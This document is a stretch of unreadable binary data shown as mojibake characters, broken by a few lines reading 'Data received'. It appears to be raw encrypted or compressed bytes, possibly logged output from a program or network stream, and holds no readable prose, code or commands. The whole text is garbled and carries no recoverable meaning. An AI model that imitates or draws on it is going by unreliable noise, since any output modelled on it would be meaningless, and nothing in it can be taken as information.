R/oHfòUÕNõšSNòSÊÖ[Ÿ.»ò<¨¦õÀD6´d>Ÿå„ãΗÁ{ŠòE?÷ZPcå㬦iƒsåï–̋¦È§–¨k󿣖(‡ Cç䏙Ó(s{ãk‡oc_±_6qW>[=q+éùG–,,7êZC(Ô*å:ÕsÔV‹äxHåI³ó=p‚ûãê¡çÓ,#·õ‹ëÓ7Hßc♊¿2^>ëå“Ú &Ëþ[湺ò{°ò-ä'°ùå?±¦OS|oÁ.©°>ˆ°1|“E¦/z;™Å6 – {“?3m÷•ozC?Ëjç•r=q+Ìùã•,S÷"ï\Q@÷1‹»ãA$Wî¯ßò~{†¤“½ò[p^⯉Âòq得½{ÎòoDÿ£¤~ò=>jÀPH±”L°^>XÀ\{cÁ¸Ös‡Ùcƒ±'70>»å!“¦)&“õ•sžCD£þ†qY+d‹»‚Ë6U;{»´Y2o6¿TFÝMFþ¸i³!j× W;[â5áMè%lOÀ@¾C«¯yËÏñή›è3ù-rŽRᷚpӁŠ›’ ·Ë‚ÿÅS$TËg/XçtÎ¥ò†Ê6°H¬y ;&¾C›{þ<§%P»Ê4°_ß»»´h4eF2S€>¼h¯S,F¨;ÞW³EþdžQþ5ÀþòqSh֔é_a4?ü:9_³cÖ¼é_B4E Q-¬¯ è3!U ËY³@Êwb?4»Së‡#8Îlv‰¬»¬éPû/˹XA»÷WHþAQ^èC_x²°ÓX2MC‘E¼F·n ›CXc؛Ûg4Š·¯´O4oפÞñRlÞà<üU»œƒ0»<¬à3£Uß/Ó=5IÃ`Ÿ;ûær]Wזÿ—êäaC¦9˺oç3éÿÅS)[-Š:ÌæN ;4£'tþ:ÌȞ÷‹s¼obåeÉÖjÇQáú+£b‹sÕïnC tûa‘ÛB»†›1Hƒh=ßIo;„Aÿ:ÌNö,Û¿ù-ÿEН;l?»XߍN|Çhº«_ˆÏ\hÃG\‡š»=ßIK8ø«Hâ-‰]Í?ôiÂrbþUàÌ"o—9¡i)‘X¿M~”ŸÑ-øœÐöÓÅ]bO,0³“r,‘®Z¤(å¯xôžÆÞëþV½ÁÝU¯9R&À®/_3äY«Ò(mM<]×xâdð"âjÑÉl-÷­/ 3›DE£·C®‡ŸÎõÇìÛÏóC¿7áD’Dy¦|Se‚kÀþõgèÿµc"ƒ wßøî<d6ÒÆöÿöqgw6q<šž:®x%ð·:·øõž±ß6Ғà÷w;ÈmΧÕGt]àÇdà—ZÓ@k7W!O ¨›iâ; ˜I5q”ú"VvZ‚E€‰*¹Vr“îcú×QVr·÷8Ù_–¾ÁGwc·†Töño÷—¾U˜rÇ÷ ¸Iþï5ÀÀ÷V›`ôr» ¿“êÞëS–JÕ!ÇwҒOɜë;“jMuO»úéK§r¿èò²•p7lê°ðþë‡;“òK§²Êçêæ¤Ç3³v³y2OVîK×êa°Ã™[ç–~aAÓv=9ÀwÖoÀ¸¶µõ…r’·w8sÀ7td¿XúWyسVrÖ·wÓ¸ô>sš ¿^•=ŧú„;“ Muï⏶nÛõÒ” ŽaëugC•Pã“o+äS7à8Ó£Íòº2ñujß¿u®âR·79;_u$D–Õ÷@ºtSåØêïû³ =9ˆÀwpW?b«0b–~ÕÇ÷ñ•ÀÅRæÕê´MuÁâw“6V2h¸ösïm=9-Àw:X‚²®³â»Ì8´²ÚúúÛò·&KWOäO¿ºWóG6Ÿ7$`ïu~ôO‡Ø °¯cã:¹9ãÐǤ2㶏YžÄˆª•Ë,rìŒòM ’˜ižðè…S ”–dàFYìråȧkˆG¬RÓÐY_ðËGŸmk2OkÔ"}^È弎¸)t°ˆº\é¶Bô¯ágF¤"pÄ Òғqçî¥ÂS°ÏA<tÒE.¿[^á23/¢ ìQ¶ÒÒÚt3³·2”˸ÓŒ*útyšˆ'7s¯—ÖTŒ.v¢˜[3­ö²áQä`όøÕ#¦·¤÷Ó™<¯’ÐŒ>Hl *OV2¶QݔόCõtÊS|Ö÷³G‹e˜/‚lēq”·ds²–ž´ ~M¦I§–òKîú˜žÏ˜Ù¼nœYŽÖΔÙ6?œžD<ƒ€¦¥/’·^=„=¼¿¹ )?ïÏ×Ýԟ·ÁžRcý‡Â­6aä¡·ÿŸžÚ”\ ÆæŠ–¨[Ø}¿ÒžžßrdGïÒ|šÏ8Áá®ÿ¢ä…ÜP%–«üò¦cüØ:”°…û§WçòÑnäÛåÅÊS? Ðö ¤Ï8á»2ÏSß×êHÊÓt]Dö ¿$³ƒÍébv’-3/ޚF:÷3$B*­—ЕI˜‡ö£Î’äC ó+`èѱã×4ì¥<3~sòWÕãÑ>ÛÏ=ä009ïÿ®‘9—WŸÑ¿ ròÀÙ-ÿ·Ñ?8R‘rSQ§µ¼,Oé8/Gˆ—h]fò©žó±Ÿ|§úÀA””Ó˜'â³|3æå÷E©ØŸ]¥¢.AØÓ_žDJ·ªeî¼_²2êo»W+™=Ó°ÑFà(Þ#ÓÓ^p¢Ï°«võˆ·‡M0 ^,oÓ©!Vüò9?ôœ~éÅ­Ï:ߪ·B*!Pþ€® ÓT Ùçc D‚ÓÿŒÙ6‡ðÑÕo¬pډS³¿ORoçÒóºîcÒWØòm+ÏëÑÑP
Data received iŽ#w5Ç&~éð¶”ê|²U~oœ3õ¯.Ôü‹öFç$#¿¯²ßÞ¹”¿¯!^››´pÇÇ~ê¶²žÖgaï½Òéе2‰óÑæq¬p”_µr£Q±³½&¬R]ÒcK-4ܖo:UþvÑÎSXŒ{wOòÁJ|™å}”²§cGO÷Ò¬Éý a;u“tgè3—W%Àà˜èurÜ •úÒPŸ*¦Ö‡ÚtAWø»‰ê¾¯¶³¥]®¬¾¶:HÿWrSQö³Ö¤'öÏ/A‘ v«~²äÞ`ÉÕ/0Áܶ¬Ð2㱑sôã¯ÿïÖ wɞcGË7vSyÖÁ¯ÀXç!‡÷h‹w¢»*‚­Í &lŽ–‡×• Ãóò®`Ùėr_Ó ®dÞrò4A—mËîQÆÜd©m½ÒóþcÒ °¶º÷ì74ØI™[«Hu×Lüҏˆ´²"]Âá¯%øñ”ºÒ'¤™ªM¹É>Ćҏ¢5vòÞ·Çq¯’2º)¸™j åQýO¨-¯ 3ØÿgšÆƒ¬yE‰;ø˜73¥@̱Ø h?&A(ž8TH¢.Ô¯I™ ÷ï R7v.>·ˆ§u`ZÂė66óoWuó NÄmËnn³7ìIãó©³ø»§‹çp·ø·R*¦…³þ’’¥“_»GËěÒÑ)ð³ñ\ÿÓß%ûïÏ¥¡Ð?֗gӇR~á}ò E‘ÚŸOÜR?[2øå2”6Ü¨•×øƒŽèÇ:¯¶VWLƒ¸"°³²Œ™¾½g¾¸üVö¬_w›ÒrÒì !«ô5PÃêõ¼—3·Ó¨ºEh‹òs`M\0ÏüQ’òÒIÄwϓç½RUýQ³Û˅ynwÈÏZ#+úQÚ¯»ŒSSSSύškûQ ³d· Â÷Óïoï/Û¶½—5â?3ù°8Žsµ7J:Õ¬›jz³ÔqŸ ƒ™q7ÝAFŸeÙòN õž„T»w3Èòz s-áRLZ‹8sõ3—ò¦ ÐvÇç6'iç²P‡Hׯݨ)ÇZr ¬2T;Wř«ù’]¤×Â;vÔÞ—øÔgÇ´Éی¬Ò“Qh—Ãr_¨eŸöÛÕ´¹”kæQG]*[=WΖ¼˜È“?$ ÏWÖ♵óœj"|ò~ÂSO÷'KV³£HtbJƒ•TÓô$³åUßô·/±e.Ê+„¿q»WˆRƒ“ÏÝdgÇ RY^Á§ÏHb¢‹Ïo—W RhÖöyÔ¼‚î嶌\ëRÍáú| ¨ÏÓ^;†}‘–äk´Ù“ÉÕ04e3Ô)Äú×Ü@‘YDÎÒ% ½½¸¤º *4¾t¸‡OgA0À¨¶êv"vC 4…Ð ë´v‘;íç2.¯ ×uqĨDN?·r¯×̓šÙ.ÞÓĖÞ`ãó~ 0J€¯Îú—ö©Ö "~“PúTîª9ü’ÜNYShaÅIƒÉ÷§^ó Z·d•yܓ…WQóŠh±0̰6\¯Ý Ï*Ráàˆ¾.#ÔY†F úd¸=ÃÕtÓÓ¿º¤4@ Ò´Ó|‹çt2ċ¬ÞXÏ ·Îoƪ? ?ÃóûHO¹›ž…oFö­àžzÞûúÑ¿ ÇËÁÝÚ¾ÎaÎË˻Ā嗇bãþ…·áHƒ ß© íªŸa–ÛÕ¼@ẺóÞ¹˜Õî¶Mt–ôò%•›ðҒEþ°ïü<:°²ðc­aäË©»â€˜¥ÛO関açË »ý€ ˜¾b ÿ¼·Iº «¸a–ò՗@øº•óõX’/ó“W¼xKOÆëÞÇùʓÍ;:T²wJÀ÷ÿ[OÓ2IÇٲߠ7ïMÖÀÕS@w®ôG÷ü—OI2 SF²Ú·7G€ô¿ãSw â÷ù5OŽ2ÙKtrô:ã²zSóv ÜñööO«2bðª²ҘrbëÕ[¹¶SawÍW`÷óëO=:_=”Ktró".¶.ÔOKÛ#°Œ'3»‡ˆÚ[‡ÏôïŸÅØ£ŒïÇ¡6"È8ԓo,Qп„Í߆¦Nš‰LuÐ8UÚ2’5\ój€Ñ©©-Oâ¾YÎҟ¥»kŒŽÛ,ªÞ¿YÙùãs¹%? >{ƒ‘Ù°÷£%Ïl(ë¢iH™‚ÏG0Ž‘nÑ]³ŒÑãqØ%ÍUË´{Œ¼þ3¾MÓ³ ¬û0ž7`q‰/GϝÓÅ»©I¦ÀUÕÏ׌pgYÑ Ñ‰bè‡WÅó/*€­ÏXÑ6¡$J2ÝrÃþãx>Œ²‘Q õ%Œ?kr[@ó9žvˆ¹:2™wXoŸ_òz vhRA“°ˆ1ßѱѫÃE/²==²çjŒîWO¯¡šò“&©y?ž õ·Øúz,—–¢J€Û֍Cñ[d†?¨lj\òäBüA\ÒòËmGÑM¯¶ãZº?ÔcÜû`ŒâÏ«¿‡$ÝrJ۔W“Ó@#7¾¸¡ão9IQsQMÌ9øqÒ#üì%ÔbŒQ¢þáØa0W¢¸º\›öÃ99¯ –D¹—ó¶tæF!Mwâ#‚ÿþPdŒ0ºnœÆe/û–°ŽJÖÝã(çd‹ùRáöÒüU˜b±n?ԇ±˜|fŒÙÉxrZwò[ÝfLž¶Âåʕ­e¾§*ˆ·ðJžòô†’æG£ÎÃ÷õÒòƟ È zóE“Fbè¶L7«tñ’y²Ó…=MžéoÝáà7Ûo·f•³dDöG†™ò’hõ–ó×lâ+¬uâk›×ÂH\×îc=¦ÓVŽ·RˆX†[¹Ô—.Ð#¯“ùêêöҍâ_{9ãvzWª·Pw^ŒnèYãT„xôcAƒáSoG¼l½1álCÒ¦Õûú^WÀ;V͉C¢ÏD+¡…¦×ª·Ž‡MsWKñÛb„´QÕ@J·³6ÜÓnu¹‚OßòÔH°ò>ú'VïÂâÛÍûÈÓuO—|ƨ¿i°“t¨ã¿½‘î²ut«Vº=ô…±,‹8³Óð#§ÂÅÎS™§ÂÀ—˅݆%æ&ó‰á×çWžÑžèÇϧ*‡’úHÒçÑFQ¸£”Íó­M¨ OžO½¦b$¦¹zø›w“O‹Û'oRôRƒP§H¶Ò ëÀwÒ5‘ï2º¹„”ª®ÔF±_5Òø*¼ÄK¸`ƒÙÑ£šs¯¶¾‹†bm퐣™ûc,EòŠ¹,/ʒ°+:¡€·øJ¿κur³Mé‡F/™Ù=ãÏ‡–Î_vlH[³J˜2’;Cæ¦Ï EǸøŠ7ƒŸÖ‘ÊhÙv`2Bô҇+£T¸Ò勏t,¶28fúÛX¯!nI°˜ù¿[؛Ïú‘P¶[I™uÇ/“`·RæóÉV“ŸªÁwç_Ñ%ÉÖ2B7ô§1bŠœIQXeð²ãš3HL0Ôõz}ÛEs Q äkзU›9äãÜ_±ü»µA~áxóV±‚ÿÂêŸY~Ò@ö¥®'¿ÂÓ¸¿_ ÷{˜¼{á¦úO dcSÌÿ`“®}z³²—6Î|‘|ßÅß­0†Ï\QçQ»;’-sÓ3˺ÃÍmWæ×1sC”vúõÐyróHBëÝ}–vðÿcÀl °Êš”ž“‡jE-·£?3AˆêÈbƒ–"úo®òeæ6ûâ.=Tç ×2j ôz"?Z!¦â WÕô{i E,Í@fÛ^§ò%4Ç‘X¹|]!ñó¯ÿ>3—7
Data received ûE.çRO¸ºó)8×-¨Zî%[ŠY(„¿¢Cèy€eSþç_žœ33L²NÙ9>©ß¤ïÎN4ØîÝÇlÄ3 ¾æˆ_þ9{/¶ïJï-ri«€6Þë¸HÒ>~áV?)*€‘u†N0ôÁ:ZKˆè3N5hjëÙ1:ì_{—qÒi_۔BÇpš˜@·%‹º?Uðrå_ÞˆغåqŸsŒ Ã^ðRufYŸÔMÃ… !Â`o¹´Ù`¯ÇœLùÉÉ{‚…éû°¡ê-6 ôøÓ2™Š(c€ 9ŠZÿ/8pŒ_‰9Þºáî‘l"l…1­½’¨w„°=÷ [ÅT¬y¢(‘î¸#²Òºdó¸šÁ-#§k!âv’î•"øÌHÎK(«5ß'2vî`ö—vÌ-‰~z‰ï YëË×NÔO€½­y)'ñp %Ã$GÀ? øÖÒÞVZŒ;(ˆ:—¾hpá âN‰º Iªe Ugf#`“Æë)!h5Ä û…ïãtNë…'ª9}jã$óÖľaâ!Û+˜®Æ½æ+_« ⟖óî‹çeåâ/aºëk2O%ßYpB)÷WÇ#„!%«§TOüÒ,ëËÜþȦO/æÉö¸½–Ä”‡ÅëeΠ”îµùbiUØö—2õIg»~­¬‡‰ñODÇós( u5¡-Þ+rÉ’ô^Ô'}¼1·\Zq'm-}²ÌwYè¯X•å_—ã«-1B§:£_sѧ_n¢/û xË%>FiU-6j{ì°)Á!'˸Wkûü+>•ì…Q»*úW³©’ª”‚ú¼$¥5²¬KÉ1_?õb¬eéddÌéÊÒèø’¤«˜S×ÈKJ‰âßS­†î¯Y¿ÝÕ."¯¸uv5RݓlNó¾Î‡HÒ§„Ç®b2ÿÉpêúJæWê)xϟ^oRb`Å-ق¯aâ1ï–TYßO—ø˜K¹ŽÇf£Ð¿V2Zƕ × ÁUE¬˜­±•÷fª%)fܰ­òæÓêö<8÷"Vë°QÉo3ùŠÄ­!Ö²Y ÷0Ýùæ@ŸPH•ß”ý 3–éwx>¬*¡²”ùæ.rª#+t‰Åö˜20K™Î{æÉNó6LÀ_¯ržëܪ[NÄãØŠÆ &÷ )ۉs]ó®Ïb aÃÊÑÖÙÂxðO™{ ñçIÂÅU–™v§ÿû©÷ööY€ñÁ֔n OÒ¿e+ÿμ%ßÔj° 1fŒ±”¾'áyÀÄêïøOÑɓøèH£º„¸b¢ëåÚ§âÄ~'PȐ`œCiÿ… ÂÙ-xÎHnï»þ‹h;Jg#$鿏5BÿÌe!TôÁJ-ã˗·^¯P¼9å ¸ò¤ï($:Ð&Nʜ/;ñ+Aù‹RG/ ;‚¿1×b6u§‰q8iuÙ}\³Éý™—f"w±t!âÔ[Pê(·”IÒ6¼† ‹ Zÿý…–bÒêwØ,”=r}q/IÞ×ÃgÓRCª ØbH’ÂÎ$²V]EN/Ðw™W¢L91ö$ÝÉñ°‰!Ö}Î¥^ó˜’1 ‡úkaTËv oŠ RU1ZºÂ~«P”hi…ùaL‹hM¹ Øê¶;“Çò#„â(Ê Jì×& FZSþ„)ú‰ÒÕtÆÇ÷…ïþ¢ îõÿ_¬ùâÇÕEۉ1Ñю%Ý Ç|+äxø¡Ò¬«ËÉÔÊIÔCZq8¥B`_å¥þjQ n)?Ñ÷jçðº´ïH¬.C="#½XžzÊ&òçRx˜ ²†EÇ%×FÖëA}âf—pæï:ê-+<@”@¿òêŽljbDèkÒ¾^|IWǺ'U̲Ÿq÷Ë\ñÉö¥É_F—ŸÙ …Ö1ΜùÙùŒ]!(ΕÀ=É·°©Æ!ZÁ4 ºçO‰G/¼%çߑW»n,AJè ?ËÙ·ifÉ'‹y>ó¾ÍlՄˆïçž%KJ1 ì0¤è·Çö$ÖèÈ¾h¸bÿq覉%VˆÄ?¦˜£,¢öÿ1GÂS0ªÑNﻋ’Oû šh†{%B¡d+ JUPÚ ¶^WT¨áT²`{w—ì¹ÎYh=¡ˆl:¿ —ifIUyx_JûƒSòã‰ÑÝÅ9‡$‹”½0 ^ÄÝåIUuFXönQ¾ ŽYb÷Ѹ VS<ƒìà§¿]bù-hÈw2‹ŽU^S´)*4 ¸e"1ûžÈWÀçQ¹ö{?‡Ñ÷ҁú"„ÏYøU̇\\•€\à(2s%÷d~Á†ÕJr‹/u¨˜-ÇñU¸÷¾ø!¤¶(K«„ˆºt¬…xú‚ƒ$T:PRTuš9ÆÕòêòR¤ËDZ\‘4Â÷f=çØÉÙ³Ç5A†é 8JB üËÒHIP ¹ž\‡Ôâý»ÑîÇph¨uc­^)ð¼ÎŠ8÷xÁîºÆ70»À£u–Ýœ¹ƒB¯~òAâ  ʕ^„ˆP¸K‚X‡œ\)Î<…!ß¾ú⹓¾¢®`H‘?òÁXI‡Ù÷Ӂñ±+æéVP/eµ&hj}ï=P_ݒ­ýGÁ@V¾I“Û°)÷^u!R9¿XA_Á0öSh#Lçi®ËzIx+àkµ2þst3äÿvÀöJñï{1Ø[RºŠ ÝÁâûò}3Yc)$ÐZI%Æ\'1ñEíPÈRNØû™ è ZXY1tšç øÉûØÉ5K ™Kë‚]dXòÉËÉûÔזόý õ:¾réêöÚX‰Ó‰êf¡-ºxÿÑiñ&Ž^)I:ìkӈïÿ¾º-<^î-¥{bA¹Ô§Z „Ó×7±$ø£(OàÀÀ& n!º =¿ÝFJ%ËÀ‰Ø³1ó¥ì{à]¶¯å-)û€ðɆ V`à_çç1× Ð¶n{VK»ca¥ã$ k'áî)ú/¶Š-Çÿºa]Y‹¡Ä’讌ªòZ(ZŠ€Zæþ/ÊZŠ—QøEDï%!ȇÿ$1‰»ߝåœÇï…Ó؅æ—F›—6–øîµED+úÆ»µHÊÑÕjž¸8'_ví–x¤G•aNö>˜* ”áK^Ñåî-¢¿Š 1ÎïR{º¢p—]•SîdØñ1¬gè!~Ö\öå 8éq5Mºf4n,vòž–£4O¿i"o¹’ >K²_uÊêiŒÞªX¸ •½ ¤Öh-æŒÒîÙ¦zÕ îÝõD¯ì«% ×LKòe…ñöN¡lìΰö!ñ—þ=räŽ 3 ÁwÆ]_÷ªV:üEÊÙ)‹ æì$1þš'|öZ÷ ÙÆs½ ¿<'õ:Bˆîú-[œïŖ«2›ðT!Iug•’á¶¥K„ãþ²©–§+®,Çá"òӍ¹~èô%ë]h—ùšI¶)þ(ßqÁI~«B+wŒQLµñ|b1l•ü>züi݀/wëS Ú%!þÿ³Â‹d ýŒ“?BV /¥öøº“Åî¸öàºÞe˜æîè¿ôQÉß2µUl€’ÀœhËlrU-.:â“èX¢Æ×fr¶~B9¿G !òUS‰æ€^˜RE» ãï‹Ëwe )ÆV¾-›{N|ìŸZtt¯¹€„Àë§û|½™,êo™’;!‰!ÂH))Ò:úç•Z)Ínã~ ƒUÃúuú¢“»öûKì Ð€kx]:Oei¥WÊÕWfn_1½®–ò^—ª)¯ =¢(ïa ×¾8ûñ³Z­
Data received i¨VK÷ IL/ò å'3xì㊀Óú{®e ‚-û]ù«b!‹óÅ=>-áü—X1Ú²—˜ ۔ÜbÈ_Þ-¥ Ë·þyçn¶TÝÙ!(Í5®² â_‰ÿMBª?É*ê9'(ÖÀ_ÛÃ&)ðGËWä¨- Øûù; Á)ò“柀X!ÏÓ¤ü$ÊänB)ßÝå&lR¿”:äÀ½²GÝѾ…GÇ®w×Löº¤2}ówY­Ý1èjr§ÖºÙrޒÉë÷¤-Êu”¾–ekÜÜz×S€¯˜mÆp”-‚þb~XÉŠBNõÑҗ諌N֐8CpŸìªZ\ÛR Òö{ZXˆñ ÷³œOÄî§l’ŠÖNê.t/<$#òÖÕlJ¢ÎÂÛזŽó/ÛðBn/¾dµº4™…*áÎ+ñ¥2ê… Ri¨$‹5þÆZQÒ¬6%Sr%öôÄ2¸ˆJæ¤Ë[üT±!ó*ÿt滬þ‹ñÑåI±ìk£w_ÙôÂײ”uáX*æ5JëË'âô‡éßÌA\@¥®³ŸÓ¶ˆ'éuÅ7•ñ '}UÿbF–R·XNØÔï¶ñb!Ùÿx¿ÙËN²»fSQþûÖ8½K“ù™Yú!Þ \|á/ÂA?ï?=Ù.Åëü¸¥`«7÷'2,TÓº&×EÉ}†CËkOéê,¸:‰øJò¬ä©úÉçÝyiKö4Æ'º‰}~0SÆ£D;Jÿb#öóU%öXeþ½ûž 3ô‰ ø%9¼“ç(exˆ5(¿–YìŠXԝºcßә“æëÊÌA„:ª(óMÐܞÖ!±û>)Ö(Ó$øÉݤ]~BëÙʒ«æjÇ#-s;¿-ÊlËO3L­¡†@¡ó£Ýj"%²Ÿr—öARÒøv$rnAJΨ„žÓÇ»u´S~¦jJãE- ՚JWÒüªNŒRpñ^çP)ٚ®œ„ÉP^²õ+âA¥þ̌N-5y¨Cë‘3œÖ]b¢ÖfR1ëî%ºÉ {-Cüײ1ñµòãlXá8¹_,bï¿1ÔÊáAÒ}Gì¬þb1ÛW²wôíËÿ µ¸8-$¹ÑhÐ/î|ô€™AKWLû*é²Ö˜ÁZˆØËú …2ø!l `K%¯Š“$-Ôiùü‚ À ‚VéyÏ7‘ð!Ð:¡/h®–«Œ-\€g¢Zfª%Uí%;¥0ÎSq3•²‘V3-8:Î-³!õ˜¹èºû?(Œ)NÆ«cŒÂýÊ×SqđªÂä¸+1ҟё“öë÷¦_ʧfJÀꋽ~[L”äê–£)„‹îìèâ÷ÿ13߯ÖFu¹µ¸,ÁnYµv™Â:ï öÖãXÑÒJ¬:¤Œô1^¬_²îf×ڐá‹:n5ó„{û¨T¼º X´À(ÕÒɗù£ÈÛÔê=+ÿ.RN§'!^¸Â1À}t z|Íiwâ Œ÷¸%Á ¼¤â1ö^èl”¢äc÷NjÌT ;ÇÞ( 3[±Obgʼnѽ¬‹Æ$£É¿UÌzbŠßfŠHÁRL•Å3'7õИýî³f?Kÿ˜n^žBèç ‰ÖýÌ%¬¸/1Öæ%pñû.ŽbJ¢t‹ wÊ9TnÄÃæL 9a¹ºË^☠üظ¸WyOþç'ïÔfZ²ŠÝ)[ßqXfH·‚û¿^:Y.òÊÿÆ)îNÞ£»+Šæ/ö]:ŸP|–Ó^öþ(u뿱,ÁQÃÎ_(0_+pX/îHu±,É > UáõœA ‰ÿ^°ký¤7)¬å¥³4Æ-ÚDCx.ՙ’Œ‚Ï¢d:²k$î³Ñ—‰{¹þÕqώIß³ÂÒÞìאŸlsft¿’†cŒ’ÿW~?I:f×Å©¥Ùoi]L4}•B°ÐRUN».ňöwY3¡?)Àl¯Q¦‚Ð!Þ-Ž©@î/+fü¨äî! Ø,FĉÆüG-”ª-í1§Röfè*°@÷í%•ÝŸ†¨•ÿòH8Œ²%Fâ^ö°¨Îö–{Rtz@‹? 'œ¿_:‘tG9+@"/Ynif"â½à«ê — 1Ȋ]È[BðÿS/Ք´ŒD”Xd ¿âwËÇÑêbÁ )…²îÌÈ5[€0.¯$^V‹­7ŸJÊ50 ^%u(!Ȃ—ЙþJ÷¹Ë±¸ *(L Lÿ[ëÓò1Ðù®Ê-0 ûÌô³74¯ëæN⨠ۺ¢~%çWeN’ó»ò©ž~‰î%ñÉÄ´êÓòßdŒ¯ ”Þ$IýN+XTá-3°“òÆ!ЍÀ? ™„)øè[Ö­ŸŸÚÈ ×ÆŠ_1¿}0;f 0‚œÛr/ôËë^dœ¾¨Pø[µs<5„ʇNÝT>¼rëÝâ¦}b‚YÃB3>ý‹®¿—|þR]ü[¦ë%ԔÐÁª¢ÿ“¼}—TïÉõÐv¶éÝY0‡)ñ» –mÕ2šÓëô€Þ•Ù¡ 'q7¥q…+)ß÷1Qé~ø(±!þkØ?óžåo ‰e {¸Ú§ÄãëâÄó²Êû£$ê‰Ë€Y5­ÿ™Á>è|µ®â˜—¸}sŒ·ÝÁL‰Û¿¸÷Ö¼æZ¨¤«²8NŠPZ ŽñßEÒ&"kpT:!÷r—0hë$ˆ!ɽ[©'ݖ$‰Ï}RÎ!—²À˜¶Z¿b“U–:·tum>n FÉýÊUܔq/§ó8“¶ ñ å÷)ºRw¸u’ÿ‹ª‰ßb* ]]›A«˜Ãd³ïì:ZŠ‹^ŒaþYΡԟ)eõGÑ 1u’(MÒ -å˜-ý CØJñ¯añp*uØ^÷¢ öp ò‹õçZ@ʖÒáèDwìõ§ò Êt'ó‹ïïâ—ë æÎß°Oa—pZ?é-‰Â-ÕÅq‹çyKD¿5û3Hù²þQ»’éªÊ…'¿ÿ[rî¿Û'“Éê-/î4/îòŒ^IñOËð1±ò;½ ÒøÓ»rþ¹ÕSœ¨ 1ú)ðÔ Z£q&ÚX1Ï%+I!ðXÀÀ59‰L%ñÌIUïhÚ1ɜØÄé" „Î7„Üëeøú‹hOìûJØrï¿en ˆw€ŠwB÷‹Å›3ºâX¤!ÿú޾|N»uúâäO©o±!ßAó1ÖtW%×Cµ¿ËÒ&+Õ¤S ÓW1½Ö.çIì]ŸÀÆ)¾¿G-%„ ¸°×Ã/" U±Ç8–È#¯Ô¹Ý( 1Û1ÿ@N¨ð±1o;Fp‡ ->8¾î+J8©Ö~îžÄ%Ât3RA‰Ñ½0G;»ŸYi^i] ùÌi:Y³+:ŸL'þοñ|b1ð]ùß'rûOdY¿ç„XãBI–4Œ)•Â]u2¼\[‘ÌKö-ó¤Ëw•9ë݀&Éo¤ E” ÂK–»– %^ñÏ)6ÕÅf:o ³`î ÿ“÷ "Âü¦BðÔòRò\6ïOÙvýþiB‡Ñ¿ En'Õ6͆õÖlù¥“êb—«(}ƇŸÛ•ÿ7!ÆlBv µr² ®\àqþ.æÑZêd¶ˆ(_¸ÜçÚv‰¹ \¼R2€ÂÍÞ'Qè|ü$Û, ³l2y:‘ 1û‹Óò“$Š‘_ÿ2HÖý΂¿ñµ/…1þµ1/ìZÀò‡¦wbÄ=΀脡 ÉH$!Ç;þ)æ;¢ðÊ÷—á̔) ɋ0¸Õœª_6<Ó ®·{Ķºø:¥æ#Zً£ ‹?ôÚe w`\o9
Data received ™ëû¾ÿf~¬4A?2—1uÂdõì„ TÇ´±_‰ùÆ ]ÊTÚÐÜÔø=ÁàðcJ÷Úù÷ύ T“JZ«-¶o‹[ÙS ÏG„d}ºÀ„–­§{-—• L»ŸßÞ`Ýò!÷yÇ kU[_~  2jŸ úû5hkñ ö*- }v³ ö¯Ž:‡²¿®ŏ¸IBõ26²¿P²Ô%»VåD*‚Ÿ_Ž^-â¦ß)R[YP„šÐM]¸Ä 1è®ÎÅ\cw.=:°b ËFôYœ‘ï{зÁøI'ý?Ã%µÀ ר˜Oý‹’× -ºCûqœ°e ^ÿ4Z[²›™€AØ%~5¶û=åÂø;­h®ôìž[óÊËQ²_!$)®—º©õc; Ú¨fV œÂwo¹ßB–`ªökPP'%û}ê4<ÀT†—ó3ý °CÐã¦b1þr^ùà{ü2^âÞÒ³ —`»ñ[ßOzèåf`ðªu%Åø¯~ÿÐ*Î/-ìܼ/Q£àp½Ï}gsço¾ÙQq]5ãºaQ-z§´hç¿9ì¬zîþ?ð«ÿÀ|í¹Së_„³êӕŸÓá~Y "ò® ,X!U7lbrÆ÷H”}\y-!Üâo¨ÂAò‰Æ;QhÞ%OCÞ©IX¯9ÃS’u1»Ì—YŒÑŒÁX™g{a P½ÅY Ǐ©_—~Qï)®þ’;õ]øk à…ü{Œÿ ñ.D‰áHR ‰2 _Þ¸ºïÿT!BjŠíúo—‹ª}è%BË'ª5ø|çl׳JhŠ\’þ"u¬_cš[Üï?eô½"«™I@i&šÞ_9¾9 _ D »öà-Z8½þ¬ÿx#K.åbÌRhòG%¿]ðþC”âBbK0 „òWƗ=h`m þ';¥ß|@Ô:ƒwgº -†qÙ©ãV›½ñø9‹ê·~¯O Çæj»4µ`¿ø_Iû@}³þ:OÁB6;vG¸Æ„’Ô>1º9„kýÜHù•í^ˆ'2Íw-‡Zh4ôÄ÷"r 16?õð^ŸV|æ!¬ž—¸9-ºkÜwBñ\ÿsvB ëA‹ < ½/]ïÊÁ–Vç[óÇK¬ù+ŒÀU¥£š½î/®8@‹C¼ÇöÅ!υ(ÐëA Ý»ûgÔNúŠTvåõ½§EÇnþ‰¿œ¾õGõïávÇãÁ´øópZ·¨çÊsçÜR³/ë]QÆfè‰OVï( PB¸H~4_zÁ0‡dÎ/Eíê„sÄW—üq§+ cF/Vöø;MÞb1Ñá{kZ\û&/ pÿ˜Á|ÅD¨-5ˆž û  XÕg'‚h€+]WXù¼þé ,X­¿ÜÛV·su ­³È°¡äž%o‡~bÉ_p”Ù-ÓA°GïSJK¼ ’¾)šl@µú&ª$¹ºäžV•Už_Ám¸Ó|õ|½Ï÷WIU÷:áñ‹aˉžj ¯óxI'ßÏý›Mª’·o˜IQMFhn- q¯Y³î=z‹1„v[ñŒu¿Ó· th°Ó!ŒÎÍç`ª}uP÷0ÐH-éBøV‘('ך¯}qg#N8üėR¼\ &ì{ &B$V=$*KÍ-Ղ@X ™ Νv­Æ2÷¥KmèV%åP·Àõ[xï‚Ûó /øùwü®0 yWù•PöLUOÒ<õ}½«k 1R8˼h^(-q&zt¦4l‚?ßÝXû/󨝀ê?Háþ)—²ÑuaaRoüƒ´üe݉^]Tš‡·Nê( S“(#À;ze[hlÔøïóH-'¢ßî¡°˜hN^{¤GƒˆÝbý’VáX%2XL_IƒR@š5oºèÊàú ÐÕZÅÏ-1•bÌ!´å ÀÃêŸ^Ë~¨\¼\¤˜ƒ LEíImðøë¢Q%ÂéaöÌ%לuŸjÃÕÍÅ-ÂhÎ|$Ú&ôúÆ}zÄ^(^Y¬j¤ªÅçK’ê=*¶ÒïiS/óÉÌP“Réö›ãåìHø>¸-ejAðºÕçê”2—ùÁ ×~jWöèFA 